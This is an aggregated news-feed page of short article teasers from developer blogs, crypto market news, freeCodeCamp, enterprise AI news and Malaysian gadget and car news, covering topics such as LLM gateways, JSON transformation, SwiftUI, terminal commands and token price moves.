6 min )
    Can AI Replace Programmers by 2030? Here’s What the Future of Coding Really Looks Like
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    How We Built Ad Injection That Users Actually Appreciate: Meet Monetzly In the fast-paced world of AI application development, monetization often feels like a daunting challenge. Developers want to focus on creating innovative solutions, but the pressure to generate revenue can lead to disruptive user experiences. Enter Monetzly—the first platform where developers can both monetize their AI apps and earn from hosting relevant ads, all while maintaining a seamless user experience. As AI applications explode in popularity, many developers find themselves asking: How can I monetize my app without compromising the user experience? Traditional methods, like subscriptions or paywalls, can alienate users, leading to higher churn rates. At Monetzly, we’ve engineered a dual-earning platform tha…  ( 7 min )
    Using Gemini CLI Through LiteLLM Proxy
    Organizations adopting LLMs at scale often struggle with fragmented API usage, inconsistent authentication methods, and lack of visibility across teams. Tools like Gemini CLI make local development easier, but they also introduce governance challenges—especially when authentication silently bypasses centralized gateways. In this article, I walk through how to route Gemini CLI traffic through LiteLLM Proxy, explain why this configuration matters for enterprise environments, and highlight key operational considerations learned from hands-on testing. Before diving into configuration, it’s worth clarifying why an LLM gateway is needed in the first place. If developers run Gemini CLI with default settings: Authentication may fall back to Google Account login → usage disappears from organization…  ( 8 min )
    What’s AI's impact on white-collar jobs and layoffs?
    AI's impact on white-collar jobs and layoffs is reshaping office life in palpable ways. Picture an open plan office where rows of cubicles blur into streams of code and dashboards. Algorithms flag redundant tasks and digital assistants draft reports in seconds. As a result, middle-management spreadsheets shrink and hiring plans face harsh review. Many knowledge workers now share their schedules with chatbots and automation routines. However, this shift does not erase human judgment or creativity. Instead, teams reorganize around strategy, empathy, and complex problem solving. Because AI handles data-heavy chores, roles focused on nuance gain value. But layoffs follow where firms chase efficiency without reskilling staff. Therefore managers must act quickly to retrain employees and redesign…  ( 15 min )
    HTTP vs HTTPS vs TCP vs UDP
    HTTP vs HTTPS vs TCP vs UDP: Finally Understand The Difference! 🏗️ If you've ever felt confused about these four acronyms that rule the internet, you're not alone. Most explanations get stuck in technical jargon, but today I'll give you a mental model that will make everything click forever. Here's the analogy that changes everything: This is the TRANSPORT LAYER - it decides HOW data moves between systems. TCP = Moving Truck (reliable, ordered, confirms delivery) UDP = Bike Messenger (fast, no guarantees, fire-and-forget) Why it comes first: Everything else gets built on top of this foundation. This is the APPLICATION LAYER - it defines WHAT the data means and how applications talk. HTTP = Open Floor Plan (everything visible, no security) HTTPS = Fortified Rooms (encrypted, secure, auth…  ( 8 min )
    Back with another cancerous code block to share
    Look at this bad boy I cooked up to extract a folder location from an error handling XD def extract_cwd(data): import re match = re.search(r'File "(.*?\.py)", line \d+, in ', data) if match: print(f"Current Working Directory (CWD): {match.group(1)}") else: print("CWD not found in the traceback string.") try: crash except Exception as e: from traceback import format_exc extract_cwd(format_exc()) # Output - :> Current Working Directory (CWD): path/to/script I also made a smaller version using subprocess, just change cd to pwd if on linux def extract(): from subprocess import run return run("cd", shell=True, check=True, capture_output=True, text=True, encoding='utf-8') That is all, thanks for tuning in.  ( 6 min )
    Building API Integrations Shouldn’t Require Re-Reading Docs Every Time
    Sometimes it feels like building software isn’t the hard part — rebuilding the same integrations over and over is. Every time I started a new project, I found myself: Searching for the same API docs Copy-pasting an old webhook handler Debugging the same auth flow Fixing missing env variables Rewriting the same config boilerplate None of it moved the project forward. It was just the tax you paid before the real work began. So I asked myself: "Why isn't there a reusable, production-ready playground of integrations for Next.js?" There wasn’t — so I built one. One place to grab verified real-world integrations Webhooks already implemented and tested Verified auth flows TypeScript-first patterns Examples that matched how modern Next.js apps are built Not tutorials. Not copy-paste snippets. Actual working building blocks. That’s what became Integrate API — a toolkit plus a Chrome extension that helps you ship integrations fast, without guessing. It now includes integrations for: Stripe Supabase SendGrid Liveblocks Meilisearch UploadThing And 10 more This saves time — and honestly sanity. If you're curious: 👉 https://integrateapi.io Would you want a feature like "generate integration per project type"? I’m exploring it — curious what devs think.  ( 6 min )
    Java JOLT built in functions
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    技術ブログにMermaidダイアグラムを導入した話【はてなブログ・DEV.to・Next.js対応】
    技術ブログにMermaidダイアグラムを導入した話【はてなブログ・DEV.to・Next.js対応】 はじめに 技術記事を書く時、フローチャートやシーケンス図があると格段に分かりやすくなりますよね。 今回、マルチプラットフォーム対応の技術ブログでMermaid記法によるダイアグラム表示に対応したので、その実装方法を紹介します! 対応したプラットフォーム: 📝 はてなブログ - カスタムJavaScriptで対応 🌐 DEV.to - Mermaidを画像に変換して投稿 ⚡ Next.js(Vercel) - クライアントサイドレンダリング Mermaidは、テキストベースでダイアグラムを描けるJavaScriptライブラリです。 記述例: graph TD A[ユーザー] -->|記事を書く| B[Markdown] B -->|変換| C[Mermaid] C -->|レンダリング| D[ダイアグラム表示] シンプルなテキストで、こんな感じの図が描けます。めっちゃ便利! はてなブログは標準でMermaidをサポートしていないため、カスタムJavaScriptで対応しました。 1) はてなブログの管理画面で「設定」→「詳細設定」を開く 2) 「headに要素を追加」に以下を貼り付け: .mermaid { background-color: #ffffff !important; padding: 20px; border-radius: 4px; margin: 20px 0; } .mermaid svg { background-color: #ffffff !important; …  ( 7 min )
    From Virtual DOM to Signals: Rethinking Reactivity
    The story of modern frontend frameworks has always revolved around change — how to detect it, represent it, and respond to it efficiently. React built its entire philosophy on a simple but powerful assumption: Changes in data and component state are unpredictable. To cope with this uncertainty, React introduced the Virtual DOM — But this design, while revolutionary in 2013, also came with a price. So here’s a question worth asking: What if that assumption was wrong? That’s the core idea behind Signals and Fine-grained Reactivity — This philosophy echoes what Ryan Carniato, the creator of Solid.js, often calls “reactivity without illusion.” In this 30-part series, we’ll dive deep into the mechanics, architecture, and design philosophy of Signals and fine-grained reactivity. Along the way, we’ll compare how frameworks like React, Vue, and Solid handle reactivity differently, This series is inspired by my open-source project, segnale-react, By the end of this journey, you’ll understand not just how Signals work, The next article begins right at the core — Stay tuned.  ( 7 min )
    Java JOLT Examples..
    1. REAL-WORLD JOLT PATTERNS These patterns cover 95% of JSON transformation tasks. Flattening deep JSON into simple key/value JSON Input { "user": { "profile": { "name": "Alice", "age": 30 }, "address": { "city": "Dhaka", "zip": "1000" } } } Spec [ { "operation": "shift", "spec": { "user": { "profile": { "name": "name", "age": "age" }, "address": { "city": "city", "zip": "zip" } } } } ] Output { "name": "Alice", "age": 30, "city": "Dhaka", "zip": "1000" } Flatten unknown dynamic keys Input { "env": { "JAVA_HOME": "/opt/java", "PATH": "/bin:/usr/bin", "USER": "root" } } Spec …  ( 9 min )
    I Tested Every Major AI Video Tool. Here’s The Only One I Actually Kept.
    Forget the hype train. If you want to create videos that actually tell a story, you need to stop waiting for Sora and start using Textideo. I have a confession to make. For the last six months, I’ve been suffering from "AI Fatigue." You know the feeling. Every morning, you open X (formerly Twitter) and see another mind-blowing demo. An astronaut swimming in coffee. A cinematic drone shot of a cyberpunk Tokyo. It looks incredible. It looks like the future. But when I actually tried to use these tools for my work, I hit a wall. I’m a content creator. I don’t need a 3-second clip of a cat flying a plane. I need to explain complex concepts. I need to visualize articles. I need narrative flow. When I tried to use the industry giants (you know the ones: Runway, Pika, the Luma Dream Machine), I…  ( 9 min )
    Supercharging Your Styles with CSS Functions (calc(), var(), and More)
    CSS has come a long way from being a simple tool for styling text and backgrounds. Today, it’s a powerful language that supports built-in functions, allowing you to perform calculations, reuse values, manipulate colors, and even adapt designs based on context — all without JavaScript. In this post, let’s explore some of the most useful CSS functions and how they can transform the way you write styles. Just as functions in programming languages make code more dynamic, CSS functions let you generate and compute values on the fly. They can: Keep styles flexible and responsive Eliminate repetitive hard-coded values Enable theme switching and runtime adjustments Improve maintainability by avoiding “magic numbers” The calc() function allows arithmetic operations (+, -, *, /) directly in CSS. css…  ( 8 min )
    sam3d Under the Hood: How Meta’s Model Makes Single-Image 3D Reconstruction Accessible to Developers
    As developers, we’re no strangers to the tradeoffs between 3D reconstruction quality, speed, and accessibility. For years, creating usable 3D assets required either expensive LiDAR hardware, complex multi-camera setups, or hours of manual touch-ups in Blender. But Meta’s sam3d is changing the game—let’s break down how this open-source tool turns a single RGB photo into high-fidelity 3D models, and why it’s a must-have for your next project. sam3d leverages two game-changing innovations: sam3d.world) to share tips, troubleshoot with fellow devs, and contribute to the open-source project. sam3d isn’t just advancing 3D reconstruction—it’s democratizing it. For developers tired of compromising on accuracy or accessibility, this tool opens up a world of possibilities—all from a single image. Have you tested sam3d yet? Share your project ideas in the comments, or tag a teammate who needs this in their toolkit! showdev #3d #ai #opensource #webdev #metaaiprojects  ( 7 min )
    A Stranger In a New Town: CsvPath metadata fields
    The horse half died by the time we came off the highland. That's why I don't name my horses. My boots had holes. My six was dry. Nothing in my pockets but metadata. What's a guy gotta do to get a drink in this town? Metadata is the wild west. A great example that goes beyond data is tags. A lot of you have probably noticed in AWS that tags are amazing. Amazingly hard to use well for any sizable project, let alone the enterprise. Same with the other cloud providers. Metadata is supposed to drive everything, ideally from metadata catalogs. But just you try figuring out how to capture consistent metadata across all your systems automatically so that they are up to date and consistent. Then you sit back and think, ok, I got that, so now what should I capture and how should I use it and how d…  ( 10 min )
    Mastering AWS CDK #3 - AWS CDK Development: Best Practices and Workflow
    AWS CDK Development: Best Practices and Workflow In the previous parts of this series, we covered Part1: AWS CDK fundamentals and Part2: components and commands. Now, let's explore how to structure your CDK projects effectively and implement best practices that will help you build maintainable infrastructure code. The typical AWS CDK development workflow follows these steps: Initialize a project with cdk init Edit the App definition to define your stacks Create stack definitions with the resources you need Write tests for your infrastructure code For the first deployment: Run cdk bootstrap to prepare your AWS environment Execute cdk deploy to deploy your resources For subsequent deployments: (Optional) Run cdk diff to check for changes Execute cdk deploy to update your resources Le…  ( 13 min )
    Erase and Rewind: Surgically Removing Bias from AI Models
    Erase and Rewind: Surgically Removing Bias from AI Models Imagine your groundbreaking AI, trained on a massive dataset, suddenly exhibits unwanted biases – perhaps discriminating against a specific demographic. Retraining from scratch is a time-consuming and expensive nightmare. But what if you could surgically remove the problematic data's influence, leaving the rest of your model intact? The key is understanding how that specific data subtly warped the model's learning landscape. Geometric-Disentanglement Unlearning (GDU) is a technique that treats model updates as movements in a high-dimensional space. The core idea is to decompose the desired "forgetting" update into two components: one that affects the retained knowledge and one that doesn't. We surgically apply only the component o…  ( 7 min )
    Stop decoding Hex manually. I built a Python J1939 Sniffer with a GUI (No Hardware Needed)
    After receiving the Top Docker Author badge last week for my Offline AI post (thanks everyone! 🙏), many of you asked about my workflow for hardware and vehicle networks. So today, I'm switching gears from AI to Heavy Duty Vehicles. If you work with CAN Bus or SAE J1939 (Trucks, Buses, Machinery), you know the pain: Professional tools are expensive: A Vector CANalyzer license costs thousands of dollars. Hex dumps are unreadable: Seeing 18FEF100 means nothing unless you memorize the J1939 spec. Hardware dependency: You usually need a physical adapter (PCAN, Kvaser) just to test your code. To solve this, I built a Python-based J1939 Sniffer that decodes PGNs automatically and includes a Simulation Mode for hardware-free development. Standard CAN (11-bit) is simple. But J1939 uses 29-bit E…  ( 7 min )
    Boost Your SDK Integration: Monetize Conversations Like Google Ads
    Unlocking Sustainable AI Innovation: Monetize Your AI Conversations with Monetzly In a world where AI applications are multiplying at an astonishing rate, developers face a common challenge: how to monetize these innovations without disrupting user experience. What if there was a way to not only monetize your app but also earn revenue by hosting relevant ads? Welcome to Monetzly—the Google Ads for AI Conversations! Monetzly is designed to create a win-win-win scenario for developers, advertisers, and users. By establishing a three-sided marketplace, we connect developers who build AI-powered applications, advertisers seeking engaged audiences, and users who benefit from a more personalized experience. This unique approach ensures that everyone involved can thrive. One of the standout fea…  ( 7 min )
    Webfoundry gets GPT 5.1 Codex HTML generation through voice assistant
    App URL: https://webfoundry.app/ (no account creation necessary) So this is my visual app builder Webfoundry, I used it to create a handful web apps including MEATEOR, the P2P Grindr alternative I posted about here: https://dev.to/guiprav2/a-completely-p2p-grindr-alternative-i-built-in-a-weekend-no-servers-no-accounts-webrtc-trystero-8dp This demo shows how the voice assistant is able to call GPT 5.1 Codex to generate beautiful HTML elements for your page on-demand based on voice specs. Other than that, Webfoundry has the following features: Fully Tailwind CSS-based design. WYSIWYG allows you to edit the actual HTML DOM visually; there's no vDOM and so it plays nicely with vanilla JS libraries, even jQuery, etc. Total JavaScript control with simple state management much unlike the horrors of React and others. Fully P2P realtime live collaboration both in the visual editor and the built-in code text editor. 2-click Netlify deployments right from the app. A few of bugs I've been procrastinating on fixing lately... Soon: Export app as a Windows/Linux desktop or Android Tauri application. It's hard to use at first but the learning curve is honestly not that steep, I'm willing to demo and handhold anyone interested in trying this out over a video call! Cheers! Gui  ( 6 min )
    While We're Measuring Developer Productivity, Won't Someone Think of the Data Engineers?
    Nicole Forsgren just dropped a new book, and I absolutely CONSUMED it. It's called Frictionless: seven steps to help engineering teams move faster in the age of AI. Forsgren created DORA. She created SPACE. She wrote Accelerate, the book that fundamentally changed how we measure engineering performance. When Forsgren talks about engineering velocity, you listen. And, I hope I'm not oversimplifying, but my biggest take away is that "Most productivity metrics are systematically misleading." Lines of code? Blown away by AI. Deployment frequency? Useful for assessing pipeline health, but disconnected from whether your team is building the right things. Her three pillars of developer experience: And this resonates with me deeply. But I keep returning to one question. Where are the data engineer…  ( 11 min )
    10 Terminal Power Moves That Make Your Teammates Say “Wait, HOW Did You Do That?”
    Even in the age of powerful IDEs, developers still live in the terminal. After a few years, everyone collects a bag of tricks—some painful lessons, some tiny optimizations—that quietly 2x your speed. This article skips the ls -la basics and goes straight to battle-tested commands and habits that genuinely changed my workflow (and made nearby teammates lean over and say: “You did what with just one command?”). When your server or laptop suddenly feels like it’s running in molasses, you need quick visibility: who’s hogging disk, CPU, or RAM? Top 10 space hogs in the current directory (one level deep) du -ah --max-depth=1 | sort -rh | head -n 10 Top 10 processes by CPU usage ps aux --sort=-%cpu | head -n 11 Top 10 processes by memory usage ps aux --sort=-%mem | head -n 11 This trio gives …  ( 10 min )
    Puzzle solving "agentic loop"
    Hey all, Yesterday I had an idea: You know how LLM completions work, right? You pass in the model name, an array of messages, and optionally a list of tools and make a fetch request. So I thought, what if I put that in a loop where every tool call could return a completely new configuration for the request? It works like this. Note there are two configurations: xai and oai. xai is instructed to play dumb and try to answer 42, oai is instructed to write haikus. xai is only promoted to oai once it gets the right answer. import complete from './complete.js'; let tap = x => (console.log(x), x); async function looptools(init) { while (true) { let res = await complete(init.logs, { ...init, logs: undefined }); let tools = [...Object.entries(res.tools || {})]; if (tools.length && t…  ( 7 min )
    **Unlocking Elite Performance: The 7 Principles of Inner Excellence**
    Unlocking Elite Performance: The 7 Principles of Inner Excellence In the high-pressure world of sports and beyond, mental toughness is the key to unlocking elite performance. For decades, coaches and athletes have sought the secret to staying calm under fire, mastering pressure, and achieving greatness. Enter Jim Murphy, a top performance coach who has spent years studying the minds of champions and developing a proven system for achieving inner excellence. Murphy's groundbreaking book, Inner Excellence, shot to the top of the New York Times bestseller list overnight when star athlete A.J. Brown was caught reading it on the sidelines of a NFL playoff game. This unexpected endorsement sparked a global phenomenon, with athletes, business leaders, and individuals from all walks of life seek…  ( 8 min )
    GitHub
    At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code. To understand exactly what GitHub is, you need to know two connected principles: Version control What Is Version Control? At this point, WordPress is a pretty big project. If a core developer wanted to work on one specific part of the WordPress codebase, it wouldn’t be safe or efficient to have them directly edit the “official” source code. Instead, version control lets developers safely work through branching and merging. With branching, a developer duplicates part of the source code (called the repository). The developer can then safely make changes to that part of the code without affecting the rest of the project. Then, once…  ( 12 min )
    Learn Array Chunking in Go: A Comprehensive Algorithm Approach
    Throughout my career, I've encountered array chunking in everything from pagination systems to batch processing jobs. What seems simple at first glance hides tricky edge cases that can silently corrupt your data—like out-of-bounds errors or inconsistent chunk sizes. Today, I'm going to show you my battle-tested algorithm for chunking arrays in Go—one that handles all those edge cases cleanly. Write a function that takes an array and a chunk size as input. The function should return a new array where the original array is split into chunk of the specific size. I like to start by breaking down the problem into three parts: input, process, and expected output. This way, I can identify the steps to go from A (the input) to B (the output). Input: The array to be split and an integer that indica…  ( 8 min )
    MAWA - A language as simple as Python but as powerful as Assembler, modern ASM but much simpler
    MAWA - A programming language as simple in syntax as Python but as impressive as Assembler, it could be called Modern Assembler. Although I have talked about MAWA before, I haven't gone into much detail. In this post, I will discuss it and explain a MAWA command, how it works, and what it does. For those who did not read the first MAWA post, you can read it at this link: https://dev.to/samuel_leonardo_37aff38b4/mawa-el-lenguaje-de-programacion-del-futuro-2bjh My name is Samuel Leonardo Páez Garzón, I am Colombian, and I am 13.1 years old. MAWA is a language that is simpler than others, not only in terms of syntax, but also in terms of compilation, being similar to NASM with Assembler. An example of this is the C or C++ language in low-level mode, which uses a compiler to convert .c or .cpp…  ( 13 min )
    How to Build a Floating Bottom Sheet in SwiftUI (Drag, Snap, Blur)
    Floating bottom sheets are one of the cleanest modern UI patterns in iOS. You see them in: Apple Maps Apple Music Stocks Reminders Shortcuts …and almost every modern iOS app. In this tutorial, we’ll build a smooth, draggable, snapping, blur-backed bottom sheet using pure SwiftUI. No UIKit. No hacks. No gesture bugs. Just clean 2026-style SwiftUI. A bottom sheet that: floats above your content has a blur background drags smoothly with your finger snaps to three positions (min / mid / full) has a soft spring animation supports scrollable content inside Perfect for dashboards, media players, maps, tools, or any modern app section. We track: @State private var offset: CGFloat = 0 @State private var lastDrag: CGFloat = 0 Then we: Apply a DragGesture() Calculate the drag dist…  ( 7 min )
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  • Open

    Texas Buys $5M in BTC ETF as States Edge Toward First Government Crypto Reserves
    The effort is starting small, but Texas made an opening foray into a state-based crypto reserve — getting closer to the first government stockpile in the U.S.
    Stellar Rallies 2.3% Breaking Key Resistance on Volume Surge
    Stellar breaks through critical $0.2460 level as institutional flows drive measured accumulation above seven-day averages.
    U.S. Crypto Regulator, CFTC, Seeking Names for New 'CEO Innovation Council'
    Acting Chairman Caroline Pham said the group will help usher in a new era of market structure, including a focus on digital assets.
    Filecoin Spikes 9% as Downtrend Breaks
    The strong price action occurred on below-average volume.
    U.S Bank Tests Custom Stablecoin Issuance on Stellar Network
    The nation's fifth-largest commercial bank explores how a bank can issue stablecoins on a public blockchain.
    TON Pulls Back After Ecosystem-Driven Rally as Traders Eye Key Support Near $1.50
    The token's price action points to fading buyer interest, with initial strong trading activity giving way to a sharp decline in participation.
    Oct. 7 Hamas Attack Victims Sue Binance for Damages
    Binance allegedly facilitated the transfer of over $1 billion to sanctioned entities including Hamas and Iran's Revolutionary Guard Corps, a lawsuit said.
    ICP Clears Key Technical Barrier as Breakout Volume Confirms Upward Momentum
    Internet Computer climbed through the crucial $4.20 resistance level on elevated volume before late-session consolidation narrowed gains.
    BONK Breaks Through Overhead Resistance as Volume Jumps 85% Above Average
    Increased trading volume carried BONK through a major resistance threshold before late pullbacks shaped a new support band.
    Why Bitcoin Is Underperforming Equities Despite Bullish Catalysts
    Gains in AI-fueled stocks and heavy crypto leverage have widened the gap between bitcoin and equities.
    Polymarket Secures CFTC Approval for Regulated U.S. Return
    Polymarket’s amended CFTC designation paves the way for the prediction-market platform to formally reopen in the U.S. with a fully regulated exchange structure.
    Anchorage Digital Aims to Pay 'Rewards' on Ethena's Tokens Under GENIUS Act
    The U.S. stablecoin law prohibits paying interest on stablecoins, but Anchorage aims to offer a template to distribute yield-like rewards to token holders to stay compliant.
    MoonPay Secures New York Trust Charter, Expands Institutional Crypto Services
    The crypto payments firm joins an elite group with both a BitLicense and Trust Charter, gaining legal authority to custody assets and offer OTC trading under NYDFS oversight.
    Paxos Acquires Crypto Wallet Startup Fordefi to Expand Custody Services
    The move aims to position Paxos to serve growing institutional demand for on-chain asset issuance and stablecoin payments.
    Polkadot Slides 4% as Technical Resistance Triggers Selloff
    The altcoin carved out a $0.21 trading range, marking 9% intraday volatility as bearish forces gained control.
    Upbit Considering Appeal of $25M Fine by South Korea Regulator
    The country's largest crypto exchange said the Financial Intelligence Unit has been wrong in the past and had actions overturned in court.
    SGX’s Bitcoin and Ethereum Perpetual Futures Debut Strong with $35 Million Volume
    Trading volumes reached nearly 2,000 lots traded on day one, representing about $35 million in notional value.
    Swedish Buy Now, Pay Later Giant Klarna Rolling Out Stablecoin with Stripe's Bridge
    Digital bank Klarna's stablecoin, issued by Stripe’s Bridge on top of the upcoming Tempo blockchain, is set to debut next year.
    CoinDesk 20 Performance Update: Index Drops 2% as All Constituents Trade Lower
    Bitcoin Cash (BCH) fell 6.3% and Polkadot (DOT) dropped 5.8%, leading the index lower from Monday.
    The Coming Bitcoin Treasury Bubble
    Today’s uncertain macroeconomic climate has created an environment where corporate leaders are desperate to look innovative – Bitcoin treasuries give them a way to do that, without fixing their broken business models, says Tony Yazbeck, co-founder of The Bitcoin Way.
    Exodus’ W3C Deal Adds Stability as Firm Builds Full Payments Stack: Benchmark
    The acquisition pushes the crypto-wallet maker toward a more fintech-style business model.
    Taurus Expands Institutional Footprint With Super Validator Role on Canton Network
    The digital-asset infrastructure provider will help secure and govern the Canton Network while expanding custody services for institutions.
    Aptos' APT Underperforms Wider Crypto Markets
    Price consolidation continues near key support as volume activity remains elevated above weekly averages.
    Still Jittery: Crypto Daybook Americas
    Your day-ahead look for Nov. 25, 2025
    U.S. Hours Account for Nearly All of Bitcoin’s November Losses
    BTC drifts or stabilizes during Asia trading hours, softens slightly during the European handover and then absorbs most of its losses once U.S. equity markets open.
    Crypto Markets Today: Bitcoin Leads Rebound, Altcoins Rally During Longer-Term Downturn
    Bitcoin recaptured $87,000 on Tuesday as improving risk appetite and a strong equities session helped lift major altcoins.
    Metaplanet Draws $130M for Further Bitcoin Acquisitions Under Credit Facility
    The Japanese company executed new borrowing as part of its expanding bitcoin focused funding strategy.
    Bitcoin Faces $13.3B Monthly Options Expiry as BTC Trades Well Below Max Pain
    A sharp drawdown has pushed BTC towards heavy put positioning at $80,000 ahead of Friday’s expiry.
    Bitcoin Faces Short Squeeze Risk Above $87K as Funding Rates Hint Local Bottom
    Derivatives metrics show rising bearish positioning followed by a sharp reduction in open interest, while price recovery hints at early squeeze dynamics.
    Private Equity Firm Bridgepoint to Buy Majority of Crypto Audit Specialist ht.digital
    Bridgepoint did not disclose the financial terms of the deal. Sky News cited a figure of 200 million pounds ($262 million).
    Monad’s Debut Shows Why FDV Forecasts Broke as Bitcoin Fell
    Monad’s listing illustrates how low-float launches can anchor valuation even when macro conditions point in the opposite direction, leaving traders mispricing outcomes that hinge more on supply than on sentiment.
    Japan’s FSA to Mandate Liability Reserves for Crypto Exchanges to Enhance Security: Report
    Japan's Financial Services Agency is set to require digital asset exchanges to maintain liability reserves to protect users.
    KuCoin Registers With Austrac to Operate in Australia, Adds Fiat On-Ramps
    The registration comes as Australian regulators tighten scrutiny on offshore crypto platforms, with ASIC stating that many digital assets may require licensing to operate.
    DOGE Pops 5% as ETF Debut Sparks First Clear Reversal Signal in Weeks
    ETF analysts characterized the launch as another major inflection point for memecoin legitimacy, with early volume estimates near $11 million.
    XRP Surges 7% in Strongest Breakout in Weeks as Ripple Linked ETFs Go Live
    Technical indicators suggest a bullish trend, with XRP testing a major descending channel that could lead to further gains.
    The $1.7B Bitcoin Bet on Rally Above $100K, But Not Reaching New Record Highs
    The strategy bets on a measured rally into the year-end, rather than a record-breaking surge.
    Asia Morning Briefing: BTC Steadies as Polymarket Traders Lean Toward December Rate Cut
    Rising odds of a Fed pivot helped calm crypto markets, while QCP and Glassnode point to a reset in leverage, fading sell pressure, and early signs of a bottoming structure as traders hedge both downside and late-year upside.
  • Open

    freeCodeCamp's Top Open Source Contributors of 2025
    2025 has been a super productive year for the global freeCodeCamp community. As we start our 12th year as a community, we’re firing on all cylinders, pushing forward more steadily than ever. This year we made substantial improvements to the new Full ...  ( 8 min )
    How to Build a Secure Authentication System with JWT and Refresh Tokens
    Every app that handles user accounts needs a way to confirm who’s who. That’s what authentication is for, making sure the person using an app is the person they claim to be. But doing this securely is harder than it sounds. Traditional methods often ...  ( 15 min )
    Learn CSS Flexbox for Beginners [Free 2-hour course]
    Flexbox is a powerful CSS feature that lets you build user interfaces that fit any screen size. freeCodeCamp just published a Flexbox for beginners course where you'll learn the concepts and code syntax by building your own website navigation bar. If...  ( 4 min )
    How to Deploy Your Own Cockroach DB Instance on Kubernetes [Full Book for Devs]
    Developers are smart, wonderful people, and they’re some of the most logical thinkers you’ll ever meet. But we’re pretty terrible at naming things 😂 Like, what in the world – out of every other possible name, they decided to name a database after a ...  ( 87 min )
    How to Use Vibe Coding Effectively as a Dev
    It may seem like everyone is a vibe coder these days, and prompting seemed like it would become the new coding. But is this AI-generated code really deployable? Bragging on social media about a clever script is one thing, but pushing a vibe coded app...  ( 12 min )
    How Closures Work in JavaScript: A Handbook for Developers
    If you're learning JavaScript, you've probably heard the term "closure" at some point. In many developers' experience, just hearing this word can trigger anxiety. In nearly 17 years of programming experience, I've noticed that closures are one of the...  ( 38 min )
  • Open

    What enterprises should know about The White House's new AI 'Manhattan Project' the Genesis Mission
    President Donald Trump’s new “Genesis Mission” unveiled Monday is billed as a generational leap in how the United States does science akin to the Manhattan Project that created the atomic bomb during World War II. The executive order directs the Department of Energy (DOE) to build a “closed-loop AI experimentation platform” that links the country’s 17 national laboratories, federal supercomputers, and decades of government scientific data into “one cooperative system for research.” The White House fact sheet casts the initiative as a way to “transform how scientific research is conducted” and “accelerate the speed of scientific discovery,” with priorities spanning biotechnology, critical materials, nuclear fission and fusion, quantum information science, and semiconductors. DOE’s own re…
    OpenAI now lets enterprises choose where to host their data
    OpenAI expanded its data residency regions for ChatGPT and its API, giving enterprise users the option to store and process their data closest to their business operations and better comply with local regulations. This expansion removes one of the biggest compliance blockers preventing global enterprises from deploying ChatGPT at scale. Data residency, often an overlooked piece of the enterprise AI puzzle, processes and governs data according to the laws and customs of the countries where it is stored.  ChatGPT Enterprise and Edu subscribers can now choose to have their data processed in:  Europe (European Economic Area and Switzerland) United Kingdom United States Canada Japan South Korea Singapore India Australia United Arab Emirates OpenAI said in a blog post that it “plans t…
  • Open

    IQOO 15 Gets 9 December Launch Date In Malaysia
    Earlier in the month, IQOO said that it was bringing the self-named IQOO 15 onto our shores, but fell short of providing a specific date for the event. Until now. The vivo sub-brand has officially confirmed that the phone will launch on 9 December. As a quick primer, the phone is equipped with a Snapdragon […] The post IQOO 15 Gets 9 December Launch Date In Malaysia appeared first on Lowyat.NET.  ( 33 min )
    This New Pair Of Crocs Is Themed After The Xbox
    Apparently, Microsoft is not quite done with Crocs. Following the launch of Windows XP-themed slip-ons last month, the tech conglomerate has partnered with the footwear company to release a new pair of foam clogs. This time, the shoes have an Xbox theme to commemorate the 20th anniversary of the Xbox 360. As you would imagine, […] The post This New Pair Of Crocs Is Themed After The Xbox appeared first on Lowyat.NET.  ( 33 min )
    Google Pixel 10 Pro Fold Review: The Foldable With The Tensor
    The Google Pixel 10 Pro Fold has been out and about for some time now, and unlike the search engine’s first foldable, this year’s model is also out and about in Malaysia. But unlike its rivals that made their debut a lot earlier in the year, the company has certainly taken their sweet time with […] The post Google Pixel 10 Pro Fold Review: The Foldable With The Tensor appeared first on Lowyat.NET.  ( 50 min )
    Huawei Mate X7 Debuts In China With 8-Inch Inner Display, 50MP Cameras
    Huawei has unveiled the Mate X7 as its latest foldable smartphone in China, succeeding the Mate X6. Compared to its predecessor, the new handset comes with slightly bigger screens, among other improvements. Starting off with the display, the Mate X7 sports an 8-inch LTPO OLED inner display with a 2,416 × 2,210 pixel resolution. Meanwhile, […] The post Huawei Mate X7 Debuts In China With 8-Inch Inner Display, 50MP Cameras appeared first on Lowyat.NET.  ( 34 min )
    ShopeePay Introduces SPayLater Motorcycle, Offering Shariah-Compliant Bike Financing
    ShopeePay is expanding its SPayLater offering with a new financing option aimed squarely at Malaysians looking to buy a motorcycle. Simply known as SPayLater Motorcycle, the service takes the platform’s existing Shariah-compliant installment model and extends it to vehicle purchases, giving users a fully digital and more accessible alternative to traditional bank loans. Through this […] The post ShopeePay Introduces SPayLater Motorcycle, Offering Shariah-Compliant Bike Financing appeared first on Lowyat.NET.  ( 34 min )
    Next Generation Range Rover Evoque To Be Full-On EV
    The third-generation Range Rover Evoque is set to arrive as a fully electric vehicle built on the Jaguar Land Rover Electrified Modular Architecture (EMA). An electric Evoque was first proposed in JLR’s ambitious Reimagine strategy in 2021. However, the new EV isn’t expected to debut until at least the end of 2027, with customer deliveries […] The post Next Generation Range Rover Evoque To Be Full-On EV appeared first on Lowyat.NET.  ( 34 min )
    China’s AUDI Unveils E SUV Concept At Guangzhou Auto Show
    The SAIC-Audi joint venture brand, AUDI, recently unveiled its E SUV Concept at the Guangzhou Auto Show. According to the automaker, the concept is a preview of the brand’s second model, the AUDI E8 SUV. AUDI, styled in capital letters and without the iconic four-ring logo, is currently a China-only brand and launched in November […] The post China’s AUDI Unveils E SUV Concept At Guangzhou Auto Show appeared first on Lowyat.NET.  ( 35 min )
    JBL Grip Now Available In Malaysia; Retails For RM599
    The JBL Grip is now officially available in Malaysia. Designed for the outdoors, the ultra portable speaker is designed to produce powerful sound while weathering the elements and hard knocks, literally. “The new JBL Grip is your music’s new co-pilot. It is built like a tank, seriously: waterproof, dustproof, and drop-proof (it will survive concrete). […] The post JBL Grip Now Available In Malaysia; Retails For RM599 appeared first on Lowyat.NET.  ( 33 min )
    Genesis Unveils GV60 Magma; Its First High-Performance EV
    Hyundai’s luxury brand Genesis recently unveiled its first production high-performance model, the GV60 Magma, at the brand’s global Magma world premiere. Alongside the fully electric (EV) crossover SUV, Genesis also showcased the Magma GT Concept, hinting at the future direction of its performance sub-brand. Since the GV60 Magma is based on the standard GV60 EV, […] The post Genesis Unveils GV60 Magma; Its First High-Performance EV appeared first on Lowyat.NET.  ( 35 min )
    Government Mulls Mandatory Floor Price For Courier Services
